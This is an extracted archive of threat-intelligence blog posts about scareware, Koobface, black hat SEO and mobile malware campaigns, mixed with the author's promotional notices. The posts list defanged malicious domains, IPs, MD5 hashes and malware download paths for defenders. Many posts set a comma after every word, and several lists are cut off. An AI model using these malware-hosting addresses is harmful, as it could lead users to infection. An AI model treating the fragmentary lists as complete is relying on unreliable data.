What's particularly, interesting, about, this, particular, campaign, is, the, direct, connec-

tion, with, the, Koobface, gang, taking, into, consideration, the, fact, that, **hxxp://redirector**

online-style2.com/?pid=312s03 &sid=4db12f has, also, been, used, by, Koobface-infected

hosts, and, most, importantly, the, fact, that, a, sampled, scareware,

campaign from Decem-

ber 2009, were serving scareware parked on 193.104.22.200, where the Koobface scareware

portfolio is parked, as, previously, profiled, and, analyzed.

We'll, continue, monitoring, the, campaign, and, post, updates, as, soon, as, new, devel-

opments, take, place.

12.6.11 Historical OSINT - Hundreds of Malicious Web Sites Serve Client-Side Ex-

ploits, Lead to Rogue YouTube Video Players (2016-12-25 21:47)

In, a, cybercrime, ecosystem, dominated, by, hundreds, of, malicious, software, releases,

cybercriminals, continue, actively, populating, a, botnet's, infected, population, further,

spreading, malicious, software, potentially, compromising, the, confidentiality, integrity, and,

availability, of, the, affected, hosts, potentially, exposing, the, affected, user, to, a, multi-tude,

of, malicious, software, further, earning, fraudulent, revenue, in, the, process, of, monetizing,

the, access, to, the, malware-infected, hosts, largely, relying, on, the, use, of, affiliate-network,

based, type, of, fraudulent, revenue, monetization, scheme.

We've, recently, intercepted, a, currently, circulating, malicious, spam, campaign, enticing,

users, into, clicking, on, bogus, and, rogue, links, potentially, exposing, the, confidentiality,

integrity, and, availability, of, the, affected, hosts, ultimately, attempting, to, socially, en-

gineer, users, into, interacting, with, rogue, YouTube, Video, Players, ultimately, dropping,

fake, security, software, also, known, as, scareware, on, the, affected, hosts, with, the,

cybercriminals, behind, the, campaign, actively, earning, fraudulent, revenue, largely, relying,

on, the, utilization, of, an, affiliate-network, based, type, of, monetization, scheme.

In, this, post, we'll, profile, the, campaign, provide, actionable, intelligence, on, the, in-

frastructure, behind, it, and, discuss, in-depth, the, tactics, techniques, and, procedures, of,

the, cybercriminals, behind, it.

We'll, continue, monitoring, the, campaign, and, post, updates, as, soon, as, new, devel-

opments, take, place.

12.6.12 Historical OSINT - Massive Black Hat SEO Campaign, Spotted in the Wild,

Serves Scareware (2016-12-25 22:43)

In, a, cybercrime, ecosystem, dominated, by, hundreds, of, malicious, software, releases,

cybercriminals, continue, actively, populating, their, botnet's, infected, population, with, hun-

dreds, of, newly, added, socially, engineered, users, potentially, exposing, the, confidentiality,

integrity, and, availability, of, the, affected, hosts, to, a, multi-tude, of, malicious, software,

further, spreading, malicious, software, potentially, exposing, the, confidentiality, integrity,

and, availability, of, the, affected, hosts, to, a, multi-tude, of, malicious, software, further,

earning, fraudulent, revenue, in, the, process, of, obtaining, access, to, a, malware-infected,

hosts, largely, relying, on, the, utilization, of, an, affiliate-network, based, type, of, monetizing,

scheme.

We've, recently, intercepted, a, currently, circulating, malicious, spam, campaign, utiliz-

ing, blackhat, seo (search engine optmization), for, traffic, acquisition, tactics, techniques,

and procedures, potentially, exposing, hundreds, of, thousands, of, socially, engineered, users,

to, a, multi-tude, of, malicious, software, including, fake, security, software, also, known, as,

scareware, with, the, cybercriminals, behind, the, campaign, successfully, earning, fraudulent,

revenue, in, the, process, of, monetizing, the, hijacked, traffic, largely, relying, on, the,

utilization, of, an, affiliate-network, type, of, monetization, scheme.

In, this, post, we'll, profile, the, campaign, provide, actionable, intelligence, on, the, in-

frastructure, behind, it, and, discuss, in-depth, the, tactics, techniques, and, procedures, of,

the, cybercriminals, behind, it.

13.1 January

13.1.1 Historical OSINT - Massive Black Hat SEO Campaign, Spotted in the Wild,

Serves Scareware - Part Two (2017-01-05 10:22)

In, a, cybercrime, ecosystem, dominated, by, fraudulent, propositions, cybercriminals, con-

tinue, actively, populating, their, botnet's. infected, population, further, spreading, malicious,

software, further, earning, fraudulent, revenue, in, the, process, of, monetizing, access, to,

malware-infected, hosts, largely, relying, on, the, utilization, of, an, affiliate-network, based,

type, of, monetization, scheme.

We've, recently, intercepted, a, currently, active, malicious, black, hat, SEO (search engine

optimization), type, of, malicious, campaign, serving, malicious, software, to, unsuspecting,

users, further, monetizing, access, to, malware-infected, hosts, largely, relying, on, the,

utilization, of, an, affiliate-network, based, type, of, monetization, scheme.

In, this, post, we'll, profile, the, campaign, provide, actionable, intelligence, on, the, in-

frastructure, behind it, and, discuss, in-depth, the, tactics, techniques, and, procedures, of,

the, cybercriminals, behind, it.

Related, malicious, domains, known, to, have, participated, in, the, campaign:

13.2 May

13.2.1 Invitation to Join a Security Community (2017-05-29 08:26)

Dear blog readers, as I'm currently busy launching a private security community, I decided, to

publicly announce, its, existence.

Topics of discussion:

- cybercrime research

- threat intelligence

- malicious software

Request an invite: dancho.danchev@hush.com

13.2.2 Historical OSINT - Inside the 2007-2009 Series of Cyber Attacks Against Mul-

tiple International Embassies (2017-05-29 08:28)

Who's Who in Cyber Crime for 2007? - New Media Malware Gang

- The Gang speaks out - "get lost" and die()
- Dots dots dots
  - musicbox1.cn/iframe.php refreshes textdesk.com - refreshing Storm Worm domains - eliteproject.cn; takenames.cn; bl0cker.info; space-sms.info
  - French government's Lybia site hack assessment ends up to 208.72.168.176 - the gang's main IP

Remember, the, [1]**Russian, Business, Network, and, the, New, Media, Malware, Gang?**

It's, been, several, years, since, I, last, posted, an, update, regarding, the, group's, ac-

tivities, including, the, direct, establishing, of, a, direct, connection, between, the, [2]**Russian,**

Business, Network, the, [3]**New, Media, Malware, gang**, including, a, variety, of, high, profile,

Web, site, compromise, campaigns.

What's, particularly, interesting, about, the, group's, activities, is, the, fact, that, back,

in, 2007, the, group's, activities, used, to, dominate, the, threat, landscape, in, a, targeted,

fashion, including, the, active, utilization, of, client-side, exploits, and, the, active, exploita-

tion, of, legitimate, Web, sites, successfully, positioning, the, group, including, the, Russian,

Business, Network, as, a, leading, provider, of, malicious, activities, online, leading, to, a,

series, of, analyses, successfully, detailing, the, activities, of, the, group, including, the, direct,

establishing, of, a, connection, between, the, New, Media, Malware, Gang, the, Russian,

Business, Network, and, the, Storm, Worm, botnet.

5512

In, this, post, I'll, provide, a, detailed, analysis, of, the, group's, activities, discuss, in,

the, depth, the, tactics, techniques, and, procedures, (TTPs), of, the, group, including, a,

direct, establishing, of, a, connection, between, the, New, Media, Malware, Gang, the, Russian,

Business, Network, and, the, direct, compromise, of, a, series, of, high, profile, Web, site,

compromise, campaigns.

Having, successfully, tracked, down, and, profiled, the, group's, activities, for, a, period,

of, several, years, and, based, on, the, actionable, intelligence, provided, regarding, the,

group's, activities, we, can, easily, establish, a, direct, connection, between, the, New, Media,

Malware, Gang, and, the, Russian, Business, Network, including, a, series, of, high, profile,

Web, site, compromise, campaigns.

Key Summary Points:

- RBN Connection, New Media Malware Gang connection - " *ai siktir*" " *Die()*", money mule

recruitment, money laundering of virtual currency

- Actionable CYBERINT data to assist law enforcement, academics and the private sector

in ongoing or past cybercrime investigations

- Complete domain portfolios registered up to the present day using the same emails

used to register the malicious domains during 2007-2009 to assist law enforcement, aca-

demics and the private sector in catching up with their malicious activities over the years

- Detailed analysis of each and every campaign's domain portfolios (up to present day)

further dissecting the fraudulent schemes launched by the same cybercriminals that embed-

ded malware on the embassies' web sites

- Complete IP Hosting History for each and every of the malicious domains/command

and control servers during the time of the attack

- The "Big Picture" detailing the inter-connections between the campaigns, with historical

OSINT data pointing to the "New Media Malware Gang", back then customers of the Russian

Business Network

Let's, profile, the, group's, activities, including, a, direct, establishing, of, a, connection,

between, the, Russian, Business, Network, the, New, Media, Malware, Gang, and, the, Storm,

Worm, botnet.

In, 2007, I,

[4] profiled

, the, direct, compromise, of, the, Syrian, Embassy, in, London, including, a, related, com-

promise of, the, [5]**USAID.gov compromised, malware and exploits served**, the, [6]**U.S**

Consulate St. Petersburg Serving Malware, [7]**Bank of India Serving Malware**, [8]**French**

Embassy in Libya Serving Malware, [9]**Ethiopian Embassy in Washington D.C Serving Malware**,

[10]**Embassy of India in Spain Serving Malware**, [11]**Azerbaijanian Embassies in Pakistan**

and Hungary Serving Malware, further, detailing, the, malicious, activities, of, the, Russian,

Business, Network, and, the, New, Media, Malware, Gang.

Let's profile, the, campaigns, and, discuss, in, depth, the, direct, connection, between,

the, group's, activities, the, Russian, Business, Network, and, the, New, Media, Malware, Gang.

sicil.info - on 2007-09-26 during the time of the attack, the domain was registered us-

ing the srvs4you@gmail.com email. The domain name first appeared online on 2006-06-10

with an IP 213.186.33.24. On 2007-07-11, it changed IPs to 203.121.79.71, followed by another

change on 2008-01-06 to 202.75.38.150, another change on 2008-05-06 to 203.186.128.154,

yet another change on 2008-05-18 to 190.183.63.103, and yet another change on 2008-07-27

to 190.183.63.56.

On 2008-09-25 **0ki.ru** was registered using the kseninkopetr@nm.ru email.

The same

email address is not known to have been used to register any additional domains.

On 2008-06-19 **x12345.org** was registered using the xix.x12345@yahoo.com email.

On

2007-09-10 the domain use to respond to 66.36.243.97, then on 2007-11-13 it changed IPs

to 58.65.236.10, following another change on 2008-05-06 to 203.186.128.154.

No other

domains are known to have been registered using the same email address.

On 2007-06-07, **miron555.org** was registered using the mironbot@gmail.com email, fol-

lowed by another registration email change on 2008-02-12 to nepishite555suda@gmail.com.

On 2007-04-24, the domain responded to 75.126.4.163. It then changed IPs on 2007-05-09

to 203.121.71.165, followed by another change on 2007-06-08 to 58.65.239.247, yet another

change on 2007-07-15 to 58.65.239.10, another change on 2007-08-19 to 58.65.239.66, more

IP changes on 2007-09-03 to 217.170.77.210, and yet another change on 2007-09-18 to

88.255.90.138.

Historically (up to present day), mironbot@gmail.com is also known to have been used

to register the following domains:

13.2.3 New Mobile Malware Spotted in the Wild, Hundreds of Users Affected

(2017-05-29 08:29)

We've, recently, intercepted, a, currently, circulating, malicious, mobile, malware, potentially,

compromising, the, confidentiality, availability, and, integrity, of, the, compromised, devices,

further, spreading, malicious, software, on, the, affected, devices, with, the, cybercriminals,

behind, it, potentially, earning, fraudulent, revenue, in, the, process, of, monetizing, access, to,

malware-infected, hosts, largely, relying, on, the, utilization, of, an, affiliate-network, based,

type, of, revenue, sharing, scheme.

In, this, post, we'll, provide, actionable, intelligence, about, the, infrastructure, behind,

it, discuss, in-depth, the, tactics, techniques, and, procedures, of, the, cybercriminals, behind,

it, and, further, expand, the, malicious, infrastructure, behind, the, campaign, successfully,

exposing, the, malicious, actors, behind, it.

Related, malicious, MD5s, known, to, have, participated, in, the, campaign:

13.2.4 Historical OSINT - A Portfolio of Exploits Serving Domains (2017-05-29 09:04)

With, the, rise, of, Web, malware, exploitation, kits, continuing, to, proliferate, cybercriminals,

are, poised, to, continue, earning, fraudulent, revenue, in, the, process, of, monetizing,

access, to, malware-infected, hosts, largely, relying, on, the, active,y utilization, of, client-side,

exploits, further, spreaing, malicious, software, potentially, compromising, the, confidentiality,

availability, and, integrity, of, the, targeted, host, to, a, multi-tude, of, malicious, software.

What, used, to, be, an, ecosystem, dominated, by, proprietary, DIY (do-it-yourself) mal-

ware and exploits, generating, tools, is, today's, modern, cybercrime, ecosystem, dominated,

by, Web, malware, exploitation, kits, successfully, empowering, novice, cybercriminals, with,

the, necessary, tactics, techniques, and, procedures, for, the, purpose, of, launching, a,

fraudulent, and, malicious, campaign, potentially, affecting, hundreds, of, thousands, of,

users, globally.

In, this, post, we'll, provide, actionable, intelligence, on, currently, active, IcePack, Web,

malware, exploitation, kit, client-side, and, malware-exploits, serving, domains.

Related IcePack Web Malware Exploitation Kit domains:

hxxp://uincodec.com

hxxp://xhcodec.com

hxxp://stormcodec.net

hxxp://codecmega.com

hxxp://whitecodec.com

hxxp://jetcodec.com

hxxp://endcodec.com

hxxp://abccodec.com

hxxp://codecred.net

hxxp://cleancodec.com

hxxp://herocodec.com

hxxp://nicecodec.com

Related MD5s, known, to, have, participated, in, the, campaign:

MD5: 30965fdbd893990dd24abda2285d9edc

5547

Why are the malicious parties so KISS oriented at the end of every campaign, compared

to the complexity and tactical warfare tricking automated malware harvesting approaches

within the beginning of the campaign? Because they're not even considering the possibility of

proactively detecting the end of many other malware campaigns to come, which will inevitable

be ending up to these domains.

13.2.6 Historical OSINT - A Diversified Portfolio of Fake Security Software

(2017-05-29 09:38)

Cybercriminals, continue, actively, launching, malicious, and, fraudulent, campaigns, further,

spreading, malicious, software, potentially, exposing, the, confidentiality, availability, and,

integrity, of, the, targeted, host, to, a, multi-tude, of, malicious, software.

In, this, post, we'll, profile, a, currently, active, portfolio, of, fake, security, software,

and, discuss, in-depth, the, tactics, techniques, and, procedures, of, the, cybercriminals,

behind, it.

13.2.7 Historical OSINT - Google Sponsored Scareware Spotted in the Wild

(2017-05-29 15:48)

Cybercriminals continue actively spreading malicious software while looking for alternative

ways to acquire and monetize legitimate traffic successfully earning fraudulent revenue in the

process of spreading malicious software.

We've recently came across to a Google Sponsored scareware campaign successfully en-

ticing users into installing fake security software on their hosts further earning fraudulent

revenue in the process of monetizing access to malware-infected hosts largely relying on the

utilization of an affiliate-network based type of revenue sharing scheme.

In this post we'll profile the campaign, provide actionable intelligence, on the infrastructure,

behind it and discuss in-depth, the tactics techniques and procedures of the cybercriminals

behind it.

5556

take place.

13.2.8 Historical OSINT - A Diversified Portfolio of Pharmacautical Scams Spotted in

the Wild (2017-05-29 16:04)

Cybercriminals continue actively speading fraudulent and malicious campaigns potentially

targeting the confidentiality availability and integrity of the targeted host to a multi-tude of

malicious software further earning fraudulent revenue in the process of monetizing access

to malware-infected hosts further spreading malicious and fraudulent campaigns potentially

affecting hundreds of thousands of users globally.

We've recently came across to a currently active diversified portfolio of pharmaceutical

scams with the cybercriminals behind it successfully earning fraudulent revenue in the

process of monetizing access to malware-infected hosts including the active utilization of an

affiliate-network based type of revenue sharing scheme.

In this post we'll profile the campaign, provide actionable intelligence, on the infrastructure

behind it, and discuss in depth, the tactics techniques and procedures of the cybercriminals

behind it.

13.2.9 Historical OSINT - Massive Black Hat SEO Campaign Spotted in the Wild

(2017-05-29 19:28)

Cybercriminals continue actively launching fraudulent and malicious blackhat SEO campaigns

further acquiring legitimate traffic for the purpose of converting it into malware-infected hosts

further spreading malicious software potentially compromising the confidentiality availability

and integrity of the targeted host to a multi-tude of malicious software.

We've recently intercepted a currently active malicious blackhat SEO campaign serving

scareware to socially engineered users with the cybercriminals behind it earning fraudulent

revenue largely relying on the utilization of an affiliate-network based revenue-sharing

scheme.

In this post we'll profile the campaign, provide actionable intelligence on the infrastructure

behind it, and discuss in-depth the tactics techniques and procedures of the cybercriminals

5573

behind it.

Known malicious domains known to have participated in the campaign:

hxxp://doremisan7.net?uid=213 &pid=3 &ttl=319455a3f86 - 67.215.238.189

Known malicious redirector known to have participated in the campaign:

hxxp://marketcoms.cn/?pid=123 &sid=8ec7ca &uid=213 &isRedirected=1 - 91.205.40.5 -

Email: JeremyLRademacher@live.com

Related malicious domains known to have been parked within the same malicious IP

(91.205.40.5):

take place.

13.2.10 Historical OSINT - Mac OS X PornTube Malware Serving Domains

(2017-05-29 20:05)

Cybercriminals continue to actively launch maliciuos and fraudulent malware-serving cam-

paigns further spreading malicious software potentially compromising the confidentiality

availability and integrity of hte targeted host to a multit-tude of malicious software further

spreading malicious software while earning fraudulent revenue in the process of monetizing

access to malware-infected hosts.

We've recently intercepted a currently active portfolio of rogue/fake/PornTube malicious

and fraudulent domains, with the cybercriminals behind the campaign earning fraudulent rev-

enue largely relying on the utilization of an affiliate-network based revenue-sharing scheme.

In this post we'll profile the campaign, provide actionable intelligence on the infrastructure

behind it, and discuss in-depth the tactics techniques and procedures of the cybercriminals

behind it.

Known to have been parked within the same malicious IP (93.190.140.56) are also the

following malicious domains:

hxxp://playfucktube.com

hxxp://mac-videos.com

hxxp://xhottube.net

We'll continue monitoring the campaign and post updates as soon as new developments

take place.

13.3 July

13.3.1 Introducing Obmonix - The World's Most Comprehensive Sensor Network

(2017-07-28 07:40)

The world's leading expert in the field of the security cybercrime

research and threat

intelligence gathering presents the [1]**World's Most Comprehensive Sensor Network** for

offensive cybercrime/cyberterrorism fighting introducing active sensor deployment cyber-

crime/cyberterrorism forum and dark-web infiltration launching the Disruptive Individuals

startup successfully disrupting and undermining the cybercrime/ cyberterrorism ecosystem.

What is the Obmonix Platform?

5576

The Obmonix platform aims to build the World's most versatile and comprehensive sen-

sor network for intercepting monitoring and responding to cybercrime and cyber jihad events

successfully deploying a variety of proprietary sensor network based of honeypot appliances

industry-wide partnership including the utilization of proprietary cybercrime and cyber jihad

forum and community monitoring and infiltration campaigns

successfully positioning the

platform as the leading indicator for cybercrime and cyber jihad activity globally empowering

the operator law enforcement and the security industry with then necessary tactics techniques

and procedures (TTPs) for successfully responding and monitoring cybercrime and cyber jihad

activity globally leading to successful launch of the Disruptive Individuals startup successfully

serving the needs of the Intelligence Community, the security industry and law enforcement

agencies globally successfully anticipating an emerging set of malicious and fraudulent tactics

techniques and procedures successfully protecting millions of users globally.

How you can help and contribute?

Feel free to join the [2]**Indiegogo funds raising campaign** and stay tuned for the associ-

ated perks.

5577

Looking forward to receiving your response at disruptive.individuals@gmail.com

Stay tuned!

2. https://www.indiegogo.com/projects/the-world-s-most-comprehensive-sensor-network-security

13.4 November

13.4.1 New Mobile Malware Spotted in the Wild, Hundreds of Users Affected

(2017-11-09 19:06)

We've recently, intercepted, a

currently, circulating, malicious, spam, campaign, affecting,

hundreds, of users, globally, potentially, exposing, the,

confidentiality, availability, and, integrity, of, their, devices,

to, a, multi-tude, of, malicious, software. Largely, relying, on, a,

multi-tude, of social engineering, vectors, the, cybercriminals,

behind, the, campaign, have, managed, to, successfully, impersonate,

Adobe Flash Player, users, into, thinking, that, they're, visiting,

a, legitimate, Web

site, on, their, way, to, infect,

their, devices, relying, on, bogus " *Please update Flash on*

your device", messages.

Over, the, last, couple, of, years,

we've, been, monitoring, an, increase, in rogue Google Play, type,

of, Android, applications, capable, rogue online Web sites, tricking,

tens, of, thousands, of, users, on, a, daily, basis, into,

installation, rogue, applications, largely, relying, on, a,

multi-tude, of, social engineering, vectors. Next, to, rogue, online,

Web, sites, we've, been, also, actively, monitoring, an, increase,

5578

in, compromised, Web sites, serving, malicious, software,

potentially, exposing, the, confidentiality, availability, and,

integrity, of, their, devices, to, a, multi-tude, of, malicious,

software. We've, been, also, busy, monitoring, an, increase, in, ongoing, monetizing, of, hijacked, traffic, type, of, underground, market, traffic, exchanges, with, more, cybercriminals, successfully, monetizing, the, hijacked, traffic, while, earning, fraudulent, revenue, in the, process.

In, this, post, we'll, profile, the, malicious, campaign, provide, actionable, intelligence, on, the, infrastructure, behind, it, and, discuss, in-depth, the, tactics, techniques, and, procedures, of, the, cybercriminals, behind, it.

Related malicious MD5s known to have participated in the campaign:

MD5: 288ad03cc9788c0855d446e34c7284ea

Related malicious URLS known to have participated in the campaign:

5579

hxxp://brutaltube4mobile.com - 37.1.200.202

hxxp://xxxvideotube.org - 5.45.112.27; 37.140.192.196; 184.82.244.166

Known to have responded to the same malicious C &C server IP (37.1.200.202), are, also, the following malicious domains:

hxxp://nudism-nudist.com

hxxp://yumail.site

hxxp://fondazion.net

hxxp://fondazion.org

hxxp://sevajug.org

5582

hxxp://defilez2.net

hxxp://downloadfrance22.com

hxxp://derechosmadretierra.org

Related malicious MD5s, known, to,

have, phoned, back, to, the, same, C &C server IPs

(brutaltube4mobile.com - 37.1.200.202):

MD5: 18327d619484112f81dc7da4169ba088

MD5: 090f7349fef4e1624393383e145d5982

MD5: d2e3d9d0e599cfce1af8b2777c3a071a

Related malicious MD5s known to have

5583

phoned back to the same C &C server IP (xxxvideotube.org -

5.45.112.27; 37.140.192.196; 184.82.244.166):

MD5: 288ad03cc9788c0855d446e34c7284ea

Once executed a sample malware

phones back to the following C &C server IPs:

hxxp://5.196.121.148

Related malicious MD5s known to have

phoned back to the same C &C server IP (5.196.121.148):

MD5: 7bef1c5e0dcf5f6fd152c0723993e378

MD5: 10e6c3f050b24583abf708d6afb34db2

MD5: 5a122660a3d54d9221500224f103d7b0

5584

Thanks, to, the, overall, availability,

of, mobile, affiliate, network, type, of, monetization, vectors, we,

expect, to, continue, observing, an, increase, in, mobile, malware,

type, of, fraudulent, and, rogue, Web sites, serving, malicious,

software, to, unsuspecting, users, internationally.

We'll, continue, monitoring, the,

market, segment, for, mobile, malware, and, post, updated, as, soon,

as, new, developments, take, place.

13.4.2 Project

Proposal

-

Cybercrime

Research

-

Seeking

Investment

(2017-11-15 14:23)

[1]

5585

Dear blog readers, I'm currently seeking an investment regarding a cybercrime research

project with the project proposal available on request.

Approach me at dancho.danchev@hush.com

1. https://2.bp.blogspot.com/-sfhQhqB6cTk/Wh2vJSInQhI/AAAAAAAAHkA/D5iBFRTqLbMPSgdPeNF8PWPbKqOS51ARgCLcBGAs/s1

The latest [1]Koobface malware campaign at Facebook, is once again exposing a diverse

ecosystem worth assessing in times of active migration to alternative ISPs tolerating or

conveniently ignoring the malicious activities courtesy of their customers. The – now removed

– binaries that the dropper was requesting were hosted at the American International Baseball

Club in Vienna, indicating a compromise.

us.geocities .com/adanbates84/index.htm

lostart .info/js/js.js (79.132.211.51)

off34 .com/go/fb.php (79.132.211.51)

youtube-spyvideo .com/youtube _file.html (58.241.255.37)

ahdirz .com/movie1.php?id = 638 &n = teen (208.85.181.69)

top100clipz .com/m6/movie1.php?id = 638 &n = teen (208.85.181.67)

hq-vidz .com/movie1.php?id = 638 &n = teen (208.85.181.68)

5590

The dropper then phones back home to : **f071108 .com/fb/first.php** (79.132.211.50) with the

binaries hosted at a legitimate site that's been compromised :

aibcvienna.org/youtube/ bnsetup24.exe

aibcvienna.org/youtube/ tinyproxy.exe

5591

Related fake Youtube domains participating :

catshof .com (79.132.211.51)

youtube-spy .info (94.102.60.119)

youtubehof .net (218.93.205.30)

youtube-spyvideo .com (58.241.255.37)

yyyaaaahhhhoooo.ocom .pl (67.15.104.83)

youtube-x-files .com (94.102.60.119)

The development of cybercrime platforms utilizing legitimate infrastructure only, has al-

ways been in the works. With spamming systems relying exclusively on the automatically

registered email accounts at free web based providers, to the automatic bulk registration of

hundreds of thousands of domains enjoying a particular domain registrar's weak anti-abuse

policies, it would be interesting to monitor whether [2]marginal thinking or [3]improved OPSEC

relying on compromised hosts will be favored in 2009.

14.1.2 Introduction to Dancho Danchev's Infowar Monitor 2.0 (2018-01-23 13:10)

Dear blog readers it's been quite some time since I last posted a quality update following

[1] my dissapearance in 2010. I wanted to express my gratitude to everyone who participated

in the search including colleagues and companies and wanted to say thanks for taking your

time and effort to keep track and follow my research and disappearance.

.

As I've been busy working on Dancho Danchev's Blog - Mind Streams of Information Security

Knowledge Infowar Monitor 2.0 I wanted to let you know that I've recently resumed my **[2] Twit-**

ter account following a successful career at **[3] Webroot Inc.** including a short-term venture

at **[4] GroupSense** following a successful launch of my own company called **[5] Disruptive**

Individuals and **[6] Threat Data - the World's Most Comprehensive Threats Database** including

the **[7] Obmonix Platform - The World's Most Comprehensive Sensor Network**, including a

[8] possible book writing project including a successful **[9] cyber security consultancy** and a

possible **[10] career opportunity request**.

Let's take the time and effort to elaborate on what exactly InfoWar Monitor 2.0 aims to

achieve including a detailed explanation of some of the key features of the newly launched

portal-based type of research-based Information Security and Cybercrime Research and Threat

Intelligence gathering community.

Users interested in contributing with content including

blog contribution including partnership sponsorship and possible advertising requests can

approach me at dancho.danchev@hush.com

01. What is Inforwar Monitor 2.0?

Inforwar Monitor 2.0 aims to build the World's largest and most comprehensive commu-

nity for Information Security, threat intelligence gathering and cybercrime research. Managed

and operated by Dancho Danchev the World's leading expert in Information Security and

cybercrime research and threat intelligence gathering the community seeks to provide infor-

mation data and knowledge to thousands of users globally.

Among the key features include:

- **[11] Daily Security News Coverage**

- **[12] Information Security Videos**

- **[13] Security and Hacking eBook**

- **[14] Security Newsletter**

- **[15] Information Security Podcast**

- **[16] Security and Hacking E-Zine**

- **[17] Security Mailing List**

- **[18] Daily Intelligence Brief**

- **[19] Closed Security Community**

02. What is Disruptive Individuals?

Disruptive Individuals is a research-intensive data-driven company successfully establish-

ing the world's largest snapshot of malicious cybercrime activity for the purpose of offering

the industry the world's most versatile portfolio of malicious cybercrime-driven services

successfully positioning itself as the world's leading provider of real-time intelligence-driven

services and product portfolio including cybercrime-research data malicious activity profiling

services and custom-tailored intelligence assessments successfully positioning the company

as the world's leading provider of cybercrime-data driven research-intensive intelligence

data-driven company.

5594

What is the Obmonix Sensor Network?

The Obmonix platform aims to build the World's most versatile and comprehensive sensor network for intercepting monitoring and responding to cybercrime and cyber jihad events successfully deploying a variety of proprietary sensor network based of honeypot appliances industry-wide partnership including the utilization of proprietary cybercrime and cyber jihad forum and community monitoring and infiltration campaigns successfully positioning the platform as the leading indicator for cybercrime and cyber jihad activity globally empowering the operator law enforcement and the security industry with then necessary tactics techniques and procedures (TTPs) for successfully responding and monitoring cybercrime and cyber jihad activity globally leading to successful launch of the Disruptive Individuals startup successfully serving the needs of the Intelligence Community, the security industry and law enforcement agencies globally successfully anticipating an emerging set of malicious and fraudulent tactics techniques and procedures successfully protecting millions of users globally.

03. What is the Obmonix Platform?

The Obmonix platform aims to build the **[20] World's most versatile and comprehensive**

sensor network for intercepting monitoring and responding to cybercrime and cyber jihad

events successfully deploying a variety of proprietary sensor network based of honeypot appli-

ances industry-wide partnership including the utilization of proprietary cybercrime and cyber

jihad forum and community monitoring and infiltration campaigns successfully positioning the

platform as the leading indicator for cybercrime and cyber jihad activity globally empowering

the operator law enforcement and the security industry with then necessary tactics techniques

and procedures (TTPs) for successfully responding and monitoring cybercrime and cyber jihad

activity globally leading to successful launch of the Disruptive Individuals startup successfully

serving the needs of the Intelligence Community, the security industry and law enforcement

agencies globally successfully anticipating an emerging set of malicious and fraudulent tactics

techniques and procedures successfully protecting millions of users globally.

5595

04. What is Threat Data?

Threat Data is the industry's leading and most versatile JSON-capable threats database

successfully empowering companies and security researchers with the necessary knowledge

to stay ahead of current and emerging threats, further, positioning their company and enter-

prise on the top of its game.

- Russian Business Network coverage

- Koobface Botnet coverage

- Kneber Botnet coverage

- Hundreds of IOCs (Indicators of Compromise)

- Tactics Techniques and Procedures In-Depth Coverage

- Malicious and fraudulent infrastructure mapped and exposed

- Malicious and fraudulent Blackhat SEO coverage

- Malicious spam and phishing campaigns

- Malicious and fraudulent scareware campaigns

- Malicious and fraudulent money mule recruitment scams

- Malicious and fraudulent reshipping mule recruitment scams

- Web based mass attack compromise fraudulent and malicious campaigns

- Malicious and fraudulent client-side exploits serving campaigns

Potential users and clients interested in obtaining access to Threat Data including a pos-

sible trial and a sample can approach me at dancho.danchev@hush.com

14.2 May

14.2.1 Security News - Safe Browsing protection from even more deceptive attacks

- Commentary (2018-05-14 12:58)

Google's security

initiatives, continue, indicating, the search engine market's leader,

ambitions, towards, building, a vibrant, ecosystem, for, protecting, end users, from malicious attacks, and, further, position, the company, as, an emerging, leader, whose, activities, contribute, to the, overall security level, of the entire ecosystem.

[1]**External Link:**

"

Safe

Browsing has been protecting over one billion people from traditional phishing attacks on the web for more than eight years. The threat landscape is constantly changing—bad actors on the web are using more and different types of deceptive behavior to trick you into performing actions that you didn't intend or want, so we've expanded protection to include social engineering.

"

5597

The latest,

indication, of this, trend, is the company's, introduction, of, social engineering attack, warnings, fully capable, of preventing, widespread damage, and to prevent, a malicious attack, from taking, place, in the early stages, of the campaign. With malicious actors, continuing, to utilize, visual social engineering campaigns, to serve, malicious software, and potentially unwanted applications,

compromising, the confidentiality, integrity, and, availability, of information,

visual social engineering, will, continue, to represent, a growing

attack vector, to be utilized, by malicious actors, that, needs,

better, protective, mechanisms, on behalf, of ecosystem participants.

14.2.3 Dancho Danchev's Blog Going Private - Request Access (2018-05-24 19:53)

Dear blog readers, it's been several years since I last posted a quality update following my

disappearance in 2010. I wanted to take the time and thank everyone including researchers

and colleagues who participated in the search including colleagues and vendors who offered

expertise and advice including possible career opportunity.

As I've recently launched InfoWar Monitor 2.0 I decided that the time has come for me

to take my blog to a new level by offering proprietary invite-only commercial access to

selected readers who request access.

The access guarantees unlimited access to daily

cybercrime research information security topics coverage including an unlimited supply of

actionable threat intelligence research on a daily basis including access to InfoWar Monitor

2.0 security podcast subscription security mailing list security newsletter a closed security

community and a hacker E-zine released by the community including unlimited access to

proprietary research reports and articles.

How to request access?

Users interested in requesting access can approach me with the following details:

Name:

Position:

How long have you been reading my blog?

How much would you be willing to invest to obtain access on a monthly basis?

I can be reached at dancho.danchev@hush.com

Enjoy!

14.3.1 Seeking Investor Contact! (2018-07-24 23:20)

Dear blog readers, I'm currently seeking a investor contact regarding an upcoming security

project and wanted to find out whether you might be aware of an investor that would be willing

to invest in my upcoming security project?

I can be reached at dancho.danchev@hush.com

14.3.2 Historical OSINT - Summarizing 2 Years of Webroot's Threat Blog Posts Re-

search (2018-07-28 21:00)

It's been several years since I last posted a quality update at the industry's leading threat-

intelligence gathering [1]Webroot's Threat Blog following a successful career as lead security

blogger and threat-intelligence analyst throughout 2012-2014.

In this post I'll summarize two years worth of Webroot's Threat Blog research with the

idea to provide readers with the necessary data information and knowledge to stay ahead of

current and emerging threats.

14.5.1 Introducing Threat Data - The World's Most Comprehensive Threats Database

(2018-09-20 16:30)

5640

Dear blog readers, I wanted to take the time and effort and introduce you to Threat Data -

the World's Most Comprehensive Threats Database, a proprietary invite-only MISP-based data

information and knowledge sharing community managed and operated by me which basically

represents the vast majority of proprietary threat intelligence research that I produce on a

daily basis these days.

Users and organizations familiar with my research may be definitely interested in con-

sidering the opportunity to obtain access to Threat Data including a possible sample including

a possible trial of the service.

5641

Find below a sample FAQ about Threat Data and consider obtaining access to ensure

that you and your organization remains on the top of its game including ahead of current and

emerging threats.

01. **How to request access including a possible trial including API access?**

Approach me at ddanchev@cryptogroup.net

02. **How do obtain automated access?**

The database is delivered daily/weekly/quarterly in MISP-friendly JSON-capable format in-

cluding STIX coverage.

03. **How to request a sample?**

Users interested in requesting a sample can approach me at dancho.danchev@hush.com and

